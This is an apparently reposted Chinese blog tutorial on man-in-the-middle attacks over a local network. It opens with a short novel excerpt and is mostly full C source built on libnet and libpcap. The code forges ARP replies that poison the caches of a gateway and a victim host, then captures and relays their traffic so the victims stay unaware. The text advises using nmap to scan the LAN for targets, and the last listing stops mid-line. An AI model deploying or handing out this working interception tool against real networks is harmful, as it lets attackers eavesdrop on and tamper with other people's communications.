首页 > 学院 > 操作系统 > 正文

中间人攻击的原理与实现

2024-06-28 13:26:27
字体:
来源:转载
供稿:网友
中间人攻击的原理与实现

看风云无忌一时有些迟疑。

那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”

——飞升之后 ·荧惑 风云无忌

·这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:

  1 #include<unistd.h>  2 #include<pcap.h>  3 #include<time.h>  4 #include<stdio.h>  5 #include<stdint.h>  6 #include<stdio.h>  7 #include<stdlib.h>  8 #include<string.h>  9 #include<unistd.h> 10 #include<libnet.h> 11   12 #define MAC_ADDR_LEN 6 13 #define ip_ADDR_LEN 4 14  15 struct ethernet_ip_hdr 16 { 17     uint8_t  ether_dhost[6];/* destination ethernet address */ 18     uint8_t  ether_shost[6];/* source ethernet address */ 19     uint16_t ether_type;    /* PRotocol */ 20     uint8_t  ip_ver_hdrlen;  21     uint8_t  ip_tos;   22     uint16_t ip_total_len;         /* total length */ 23     uint16_t ip_id;          /* identification */ 24     uint16_t ip_frag; 25     uint8_t  ip_ttl;          /* time to live */ 26     uint8_t  ip_proto;            /* protocol */ 27     uint16_t ip_hdrCRC;         /* checksum */ 28     uint8_t  ip_src[4]; 29     uint8_t  ip_dst[4]; 30 }; 31  32 struct MITM_para 33 { 34     const uint8_t * ip_A; 35     const uint8_t * mac_A; 36     const uint8_t * ip_B; 37     const uint8_t * mac_B; 38     const uint8_t * mac_M; 39     const char * BPF_filterStr; 40     const char * devMitm; 41 }; 42  43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45                          ) 46  { 47          static char padPtr[18]; 48          libnet_t *net_t = NULL;  49          char err_buf[LIBNET_ERRBUF_SIZE]; 50          libnet_ptag_t p_tag;  51          unsigned int i=0; 52   53          //printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 54          //printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 55           56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      57          if(net_t == NULL) 58          { 59                  printf("libnet_init error/n"); 60                  return 2; 61          } 62   63          p_tag = libnet_build_arp( 64                          ARPHRD_ETHER,//hardware type ethernet 65                          ETHERTYPE_IP,//protocol type 66                          MAC_ADDR_LEN,//mac length 67                          IP_ADDR_LEN,//protocol length 68                          arpOp,//op type 69                          (u_int8_t *)src_mac,//source mac addr 70                          (u_int8_t *)src_ip,//source ip addr 71                          (u_int8_t *)dst_mac,//dest mac addr 72                          (u_int8_t *)dst_ip,//dest ip  addr 73                          padPtr,//payload 74                          18,//payload length 75                          net_t,//libnet context 76                          0//0 stands to build a new one 77          ); 78           79          if(-1 == p_tag) 80          { 81                  printf("libnet_build_arp error:/n"); 82                  printf("ForgeAndSendArp: %s",net_t->err_buf); 83                  libnet_destroy(net_t); 84                  return 3; 85          } 86   87          p_tag = libnet_build_ethernet(//create ethernet header 88                          (u_int8_t *)dst_mac,//dest mac addr 89                          (u_int8_t *)src_mac,//source mac addr 90                          ETHERTYPE_ARP,//protocol type 91                         padPtr,//payload 92                         0,//payload length 93                          net_t,//libnet context 94                          0//0 to build a new one 95          ); 96   97          if(-1 == p_tag) 98          { 99                  printf("libnet_build_ethernet error!/n");100                  printf("ForgeAndSendArp: %s",net_t->err_buf);101                  libnet_destroy(net_t);102                  return 4;103          }104          105          int res;106          i=0;107          for(;i<sendTimes;i++)108            if(-1 == (res = libnet_write(net_t)))109            {110                  printf("A libnet_write error!/n");111                  printf("ForgeAndSendArp: %s",net_t->err_buf);112                  libnet_destroy(net_t);113                  return 5;114            }115          116          libnet_destroy(net_t);117          return 0;118  FAIL:        119          libnet_destroy(net_t);120                  return 6;121  }122 123 void ArpSpoof(124           const uint8_t * ip_A, const uint8_t * mac_A,125       const uint8_t * ip_B, const uint8_t * mac_B,126       const uint8_t * mac_M,127           const char * devMitm128          )129 {130   //131   /*132     arp-reply: M->A B is at M133     arp-reply: M->B A is at M134   */ 135   while(1)136   {  137   usleep(500000);138   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );139       140   usleep(500000);141   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );142   }143 }144 145 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,146                    const unsigned char * dst_mac,const unsigned char * src_mac,147                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength148                                )149 {150          libnet_t *net_t = NULL; 151          char err_buf[LIBNET_ERRBUF_SIZE];152          libnet_ptag_t p_tag; 153          unsigned int i=0;154          155      //init the libnet context structure156          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     157          if(net_t == NULL)158          {159                  printf("libnet_init error/n");160                  return 1;161          }162       163       //build the ethernet packet164          p_tag = libnet_build_ethernet(//create ethernet header165                          dst_mac,//dest mac addr166                          src_mac,//source mac addr167                          protoType,//protocol type168                          padPtr,//payload169                          padLength,//payload length170                          net_t,//libnet context171                          0//0 to build a new one172          );173          if(-1 == p_tag)174          {175                  printf("libnet_build_ethernet error!/n");176                  printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);177                  goto FAIL;178          }179          180          for(i=0;i<sendTimes;i++)181            if(-1 == libnet_write(net_t))182            {183                  printf("B libnet_write error!/n");184                  printf("BuildAndSendEthernetPacket: %s",net_t->err_buf);185                  goto FAIL;186            }187          188          libnet_destroy(net_t);189          return 0;190      FAIL:        191          libnet_destroy(net_t);192          return 1;193 }194 195 196 197 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)198 {199   int i;200   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;201   unsigned int    sendTimes=1;202   const uint16_t  etherProto=0x0800;203   const char    * dev=mitmParaPtr->devMitm;204   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  205   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;206   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    207   const uint8_t * A_IP=mitmParaPtr->ip_A;208   const uint8_t * B_IP=mitmParaPtr->ip_B;209   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  210 211   if (212        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 213        //&& 214        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))215      )216   { // packet: A send to B217      printf(" :) ether src A && ip dst B/n");218      BuildAndSendEthernetPacket(dev,sendTimes,219                 ether_Bhost,ether_Mhost,220                 //dst_mac,  src_mac,221                                 etherProto,packet+14,pkthdr->len-14222                                );223   } 224   else if (225        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 226        //&& 227        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))228      )229   { // packet: B send to A230      printf("ether src B && ip dst A/n");231      BuildAndSendEthernetPacket(dev,sendTimes,232                 ether_Ahost,ether_Mhost,233                 //dst_mac,  src_mac,234                 etherProto,packet+14,pkthdr->len-14235                                );236   }  237 }238 239 240 int mitm_forwarder(241        const uint8_t * ip_A, const uint8_t * mac_A,242       const uint8_t * ip_B, const uint8_t * mac_B,243       const uint8_t * mac_M,const char * BPF_filterStr,244           const char * devMitm245         )246 //BPF_filterStr: ether dst mac_M  and ip  247 {248   char errBuf[PCAP_ERRBUF_SIZE], * devStr;249   struct bpf_program filter;250 251   struct MITM_para mitmPara;252 253   mitmPara.ip_A=ip_A;254   mitmPara.mac_A=mac_A;255 256   mitmPara.ip_B=ip_B;257   mitmPara.mac_B=mac_B;258 259   mitmPara.mac_M=mac_M;260 261   mitmPara.BPF_filterStr=BPF_filterStr;262   mitmPara.devMitm=devMitm;  263 264   /* get a device */265   devStr = pcap_lookupdev(errBuf);266   267   if(devStr)268   {269     printf("success: device: %s/n", devStr);270   }271   else272   {273     printf("error: %s/n", errBuf);274     exit(1);275   }276   277   /* open a device, wait until a packet arrives */278   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);279   280   if(!device)281   {282     printf("error: pcap_open_live(): %s/n", errBuf);283     exit(1);284   }285   // ether dst 00:11:22:33:44:55  and ip286   pcap_compile( device,&filter,BPF_filterStr,1,0 );  287   pcap_setfilter(device ,&filter );288   /* wait loop forever */289   pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);290   291   pcap_close(device);292 293   return 0;  294 }295 296 297 /*298         gw            kali299    192.168.1.1            192.168.1.108300 14:E6:E4:94:B4:D6       00:7B:05:03:8E:90301         A                        B302 303              00:11:22:33:44:55304                     M305 被攻击者:306   ip_A mac_A 307   ip_B mac_B308 中间人:309  mac_B310 中间人所选用的网络设备:311  devMitm : 如 "eth0"312 中间人所用BPF过滤规则:313  BPF_filterStr : 格式是 "ether  dst 00:11:22:33:44:55 and ip "314  其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可315  建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。316  实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。317 318 */319 320 void main()321 322 {323     uint8_t ip_A[4]={172,16,0,1};324     uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85};325     326     uint8_t ip_B[4]={172,16,31,99};327     uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56};328     329     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};330     331     //BPF_filterStr: ether dst mac_M  and ip332     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";333     char * devMitm="eth0";334 335   //local336   pid_t sonPid;337   338   sonPid=fork();339   if( sonPid==-1 )340   {//failure341     printf("failure:mitm fork error :( /n");342   }343   else if(sonPid==0)344   {//child345     printf("child : pid:%d:)/n",getpid());346     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 347   }348   else349   {//parent350     printf("parent: pid:%d sonPid:%d :)/n",getpid(),sonPid);351     sleep(2);352     mitm_forwarder(353        ip_A,mac_A,354       ip_B,mac_B,355       mac_M,BPF_filterStr,356           devMitm357         );358   }359 }
View Code

下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议,如需要,请看文章《ARP数据包伪造》)

上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:

(备注:右键另存为 大图较清晰)

实现"中间人"的情景,有两个关键点:

·ARP欺骗:目的是将通信双方的数据包流经中间人。

·数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。

第一步:ArpSpoof

(备注:右键另存为 大图较清晰)

ArpSpoof模块的源码如下:

  1  #include <stdio.h>  2  #include <stdlib.h>  3  #include <string.h>  4  #include <unistd.h>  5  #include <libnet.h>  6  #include <unistd.h>  7  #define MAC_ADDR_LEN 6  8  #define IP_ADDR_LEN 4  9  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 10                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 11                          ) 12  { 13          static char padPtr[18]; 14          libnet_t *net_t = NULL;  15          char err_buf[LIBNET_ERRBUF_SIZE]; 16          libnet_ptag_t p_tag;  17          unsigned int i=0; 18   19          printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 20          printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 21           22          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      23          if(net_t == NULL) 24          { 25                  printf("libnet_init error/n"); 26                  return 2; 27          } 28   29          p_tag = libnet_build_arp( 30                          ARPHRD_ETHER,//hardware type ethernet 31                          ETHERTYPE_IP,//protocol type 32                          MAC_ADDR_LEN,//mac length 33                          IP_ADDR_LEN,//protocol length 34                          arpOp,//op type 35                          (u_int8_t *)src_mac,//source mac addr 36                          (u_int8_t *)src_ip,//source ip addr 37                          (u_int8_t *)dst_mac,//dest mac addr 38                          (u_int8_t *)dst_ip,//dest ip  addr 39                          padPtr,//payload 40                          18,//payload length 41                          net_t,//libnet context 42                          0//0 stands to build a new one 43          ); 44           45          if(-1 == p_tag) 46          { 47                  printf("libnet_build_arp error/n"); 48                  libnet_destroy(net_t); 49                  return 3; 50          } 51   52          p_tag = libnet_build_ethernet(//create ethernet header 53                          (u_int8_t *)dst_mac,//dest mac addr 54                          (u_int8_t *)src_mac,//source mac addr 55                          ETHERTYPE_ARP,//protocol type 56                         padPtr,//payload 57                         0,//payload length 58                          net_t,//libnet context 59                          0//0 to build a new one 60          ); 61   62          if(-1 == p_tag) 63          { 64                  printf("libnet_build_ethernet error!/n"); 65                  libnet_destroy(net_t); 66                  return 4; 67          } 68           69          int res; 70          i=0; 71          for(;i<sendTimes;i++) 72            if(-1 == (res = libnet_write(net_t))) 73            { 74                  printf("libnet_write error!/n"); 75                  libnet_destroy(net_t); 76                  return 5; 77            } 78           79          libnet_destroy(net_t); 80          return 0; 81  FAIL:         82          libnet_destroy(net_t); 83                  return 6; 84  } 85  86 /* 87  88  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 89                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 90                          ) 91 */ 92  93 void ArpSpoof( 94           const uint8_t * ip_A, const uint8_t * mac_A, 95       const uint8_t * ip_B, const uint8_t * mac_B, 96       const uint8_t * mac_M, 97           const char * devMitm 98          ) 99 {100   //101   /*102     arp-reply: M->A B is at M103     arp-reply: M->B A is at M104   */ 105   while(1)106   {  107   usleep(500000);108   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );109       110   usleep(500000);111   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );112   }113   /*114   char * dev=devMitm;115   unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };116   unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };117   unsigned char src_ip[4]={11,22,11,11};118   unsigned char dst_ip[4]={11,23,11,11};119   printf(":)/n");120   printf("%s/n",src_ip_str);121   while(1)122     ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3123                      );124   */125 }126 /*127         gw            kali128    192.168.1.1            192.168.1.132129 14:E6:E4:94:B4:D6       00:0C:29:A4:AC:26130         A                        B131 132              00:11:22:33:44:55133                     M134 135 */136 void main()137 {138 139   uint8_t ip_A[4]={192,168,1,1};140   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};141 142   uint8_t ip_B[4]={192,168,1,108};143   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};144 145   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};146 147   char * devMitm="eth0";148   while(1)149   ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 150 151 }152 153 /*154 void ArpSpoof(155           const uint8_t * ip_A, const uint8_t * mac_A,156       const uint8_t * ip_B, const uint8_t * mac_B,157       const uint8_t * mac_M,158           const char * devMitm159          )160 */
View Code

第二步:数据包分析、转发

这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:

mitm-forwarder模块的源码如下:

  1 #include <pcap.h>  2 #include <time.h>  3 #include <stdlib.h>  4 #include <stdio.h>  5 #include <string.h>  6 #include <stdint.h>  7 #include <stdio.h>  8 #include <stdlib.h>  9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12  13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15  16 struct ethernet_ip_hdr 17 { 18     uint8_t  ether_dhost[6];/* destination ethernet address */ 19     uint8_t  ether_shost[6];/* source ethernet address */ 20     uint16_t ether_type;    /* protocol */ 21     uint8_t  ip_ver_hdrlen;  22     uint8_t  ip_tos;   23     uint16_t ip_total_len;         /* total length */ 24     uint16_t ip_id;          /* identification */ 25     uint16_t ip_frag; 26     uint8_t  ip_ttl;          /* time to live */ 27     uint8_t  ip_proto;            /* protocol */ 28     uint16_t ip_hdrCRC;         /* checksum */ 29     uint8_t  ip_src[4]; 30     uint8_t  ip_dst[4]; 31 }; 32  33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes, 34                    const unsigned char * dst_mac,const unsigned char * src_mac, 35                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength 36                                ) 37 { 38          libnet_t *net_t = NULL;  39          char err_buf[LIBNET_ERRBUF_SIZE]; 40          libnet_ptag_t p_tag;  41          unsigned int i=0; 42           43      //init the libnet context structure 44          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      45          if(net_t == NULL) 46          { 47                  printf("libnet_init error/n"); 48                  return 1; 49          } 50        51       //build the ethernet packet 52          p_tag = libnet_build_ethernet(//create ethernet header 53                          dst_mac,//dest mac addr 54                          src_mac,//source mac addr 55                          protoType,//protocol type 56                          padPtr,//payload 57                          padLength,//payload length 58                          net_t,//libnet context 59                          0//0 to build a new one 60          ); 61          if(-1 == p_tag) 62          { 63                  printf("libnet_build_ethernet error!/n"); 64                  goto FAIL; 65          } 66           67          for(i=0;i<sendTimes;i++) 68            if(-1 == libnet_write(net_t)) 69            { 70                  printf("libnet_write error!/n"); 71                  goto FAIL; 72            } 73           74          libnet_destroy(net_t); 75          return 0; 76      FAIL:         77          libnet_destroy(net_t); 78          return 1; 79 } 80  81  82 struct MITM_para 83 { 84     const uint8_t * ip_A; 85     const uint8_t * mac_A; 86     const uint8_t * ip_B; 87     const uint8_t * mac_B; 88     const uint8_t * mac_M; 89     const char * BPF_filterStr; 90     const char * devMitm; 91 }; 92  93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 94 { 95   int i; 96   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg; 97   unsigned int    sendTimes=1; 98   const uint16_t  etherProto=0x0800; 99   const char    * dev=mitmParaPtr->devMitm;100   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  101   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;102   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    103   const uint8_t * A_IP=mitmParaPtr->ip_A;104   const uint8_t * B_IP=mitmParaPtr->ip_B;105   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  106 107   if (108        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 109        //&& 110        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))111      )112   { // packet: A send to B113      printf(" :) ether src A && ip dst B/n");114      BuildAndSendEthernetPacket(dev,sendTimes,115                 ether_Bhost,ether_Mhost,116                 //dst_mac,  src_mac,117                                 etherProto,packet+14,pkthdr->len-14118                                );119   } 120   else if (121        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 122        //&& 123        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))124      )125   { // packet: B send to A126      printf("ether src B && ip dst A/n");127      BuildAndSendEthernetPacket(dev,sendTimes,128                 ether_Ahost,ether_Mhost,129                 //dst_mac,  src_mac,130                                 etherProto,packet+14,pkthdr->len-14131                                );132   }  133 134 }135 136 137 int mitm_forwarder(138        const uint8_t * ip_A, const uint8_t * mac_A,139       const uint8_t * ip_B, const uint8_t * mac_B,140       const uint8_t * mac_M,const char * BPF_filterStr,141           const char * devMitm142         )143 //BPF_filterStr: ether dst mac_M  and ip  144 {145   char errBuf[PCAP_ERRBUF_SIZE], * devStr;146   struct bpf_program filter;147 148   struct MITM_para mitmPara;149 150   mitmPara.ip_A=ip_A;151   mitmPara.mac_A=mac_A;152 153   mitmPara.ip_B=ip_B;154   mitmPara.mac_B=mac_B;155 156   mitmPara.mac_M=mac_M;157 158   mitmPara.BPF_filterStr=BPF_filterStr;159   mitmPara.devMitm=devMitm;  160 161   /* get a device */162   devStr = pcap_lookupdev(errBuf);163   164   if(devStr)165   {166     printf("success: device: %s/n", devStr);167   }168   else169   {170     printf("error: %s/n", errBuf);171     exit(1);172   }173   174   /* open a device, wait until a packet arrives */175   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);176   177   if(!device)178   {179     printf("error: pcap_open_live(): %s/n", errBuf);180     exit(1);181   }182   // ether dst 00:11:22:33:44:55  and ip183   pcap_compile( device,&filter,BPF_filterStr,1,0 );  184   pcap_setfilter(device ,&filter );185   /* wait loop forever */186   pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);187   188   pcap_close(device);189 190   return 0;  191 }192 /*193 194 int mitm_forwarder(195        uint8_t * ip_A,uint8_t * mac_A,196       uint8_t * ip_B,uint8_t * mac_B,197       uint8_t * mac_M,char * BPF_filterStr,198           char * devMitm199         )200 201 */202 void main()203 {204 205   uint8_t ip_A[4]={192,168,1,1};206   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};207 208   uint8_t ip_B[4]={192,168,1,108};209   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};210 211   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};212 213   //BPF_filterStr: ether dst mac_M  and ip214   char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";215   char * devMitm="eth0";216     217   mitm_forwarder(218        ip_A,mac_A,219       ip_B,mac_B,220       mac_M,BPF_filterStr,221           devMitm222         );223 224 }
View Code

第三步:

借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:

 1 void main() 2  3 { 4     uint8_t ip_A[4]={192,168,1,1}; 5     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};     6     uint8_t ip_B[4]={192,168,1,108}; 7     uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90}; 8     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 9     //BPF_filterStr: ether dst mac_M  and ip10     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";11     char * devMitm="eth0";12     13   //local14   pid_t sonPid;15   sonPid=fork();16   if( sonPid==-1 )17   {//failure18     printf("failure:mitm fork error :( /n");19   }20   else if(sonPid==0)21   {//child22     printf("child : pid:%d:)/n",getpid());23     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 24   }25   else26   {//parent27     printf("parent: pid:%d sonPid:%d :)/n",getpid(),sonPid);28     sleep(2);29     mitm_forwarder(30        ip_A,mac_A,31       ip_B,mac_B,32       mac_M,BPF_filterStr,33       devMitm34         );35   }36 }

如此,最终代码如下:

  1 #include<unistd.h>  2 #include<pcap.h>  3 #include<time.h>  4 #include<stdio.h>  5 #include<stdint.h>  6 #include<stdio.h>  7 #include<stdlib.h>  8 #include<string.h>  9 #include<unistd.h> 10 #include<libnet.h> 11   12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14  15 struct ethernet_ip_hdr 16 { 17     uint8_t  ether_dhost[6];/* destination ethernet address */ 18     uint8_t  ether_shost[6];/* source ethernet address */ 19     uint16_t ether_type;    /* protocol */ 20     uint8_t  ip_ver_hdrlen;  21     uint8_t  ip_tos;   22     uint16_t ip_total_len;         /* total length */ 23     uint16_t ip_id;          /* identification */ 24     uint16_t ip_frag; 25     uint8_t  ip_ttl;          /* time to live */ 26     uint8_t  ip_proto;            /* protocol */ 27     uint16_t ip_hdrCRC;         /* checksum */ 28     uint8_t  ip_src[4]; 29     uint8_t  ip_dst[4]; 30 }; 31  32 struct MITM_para 33 { 34     const uint8_t * ip_A; 35     const uint8_t * mac_A; 36     const uint8_t * ip_B; 37     const uint8_t * mac_B; 38     const uint8_t * mac_M; 39     const char * BPF_filterStr; 40     const char * devMitm; 41 }; 42  43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45                          ) 46  { 47          static char padPtr[18]; 48          libnet_t *net_t = NULL;  49          char err_buf[LIBNET_ERRBUF_SIZE]; 50          libnet_ptag_t p_tag;  51          unsigned int i=0; 52   53          //printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 54          //printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 55           56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      57          if(net_t == NULL) 58          { 59                  printf("libnet_init error/n"); 60                  return 2; 61          } 62   63          p_tag = libnet_build_arp( 64                          ARPHRD_ETHER,//hardware type ethernet 65                          ETHERTYPE_IP,//protocol type 66                          MAC_ADDR_LEN,//mac length 67                          IP_ADDR_LEN,//protocol length 68                          arpOp,//op type 69                          (u_int8_t *)src_mac,//source mac addr 70                          (u_int8_t *)src_ip,//source ip addr 71                          (u_int8_t *)dst_mac,//dest mac addr 72                          (u_int8_t *)dst_ip,//dest ip  addr 73                          padPtr,//payload 74                          18,//payload length 75                          net_t,//libnet context 76                          0//0 stands to build a new one 77          ); 78           79          if(-1 == p_tag) 80          { 81                  printf("libnet_build_arp error/n"); 82                  libnet_destroy(net_t); 83                  return 3; 84          } 85   86          p_tag = libnet_build_ethernet(//create ethernet header 87                          (u_int8_t *)dst_mac,//dest mac addr 88                          (u_int8_t *)src_mac,//source mac addr 89                          ETHERTYPE_ARP,//protocol type 90                         padPtr,//payload 91                         0,//payload length 92                          net_t,//libnet context 93                          0//0 to build a new one 94          ); 95   96          if(-1 == p_tag) 97          { 98                  printf("libnet_build_ethernet error!/n"); 99                  libnet_destroy(net_t);100                  return 4;101          }102          103          int res;104          i=0;105          for(;i<sendTimes;i++)106            if(-1 == (res = libnet_write(net_t)))107            {108                  printf("A libnet_write error!/n");109                  libnet_destroy(net_t);110                  return 5;111            }112          113          libnet_destroy(net_t);114          return 0;115  FAIL:        116          libnet_destroy(net_t);117                  return 6;118  }119 120 void ArpSpoof(121           const uint8_t * ip_A, const uint8_t * mac_A,122       const uint8_t * ip_B, const uint8_t * mac_B,123       const uint8_t * mac_M,124           const char * devMitm125          )126 {127   //128   /*129     arp-reply: M->A B is at M130     arp-reply: M->B A is at M131   */ 132   while(1)133   {  134   usleep(500000);135   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );136       137   usleep(500000);138   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );139   }140 }141 142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,143
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表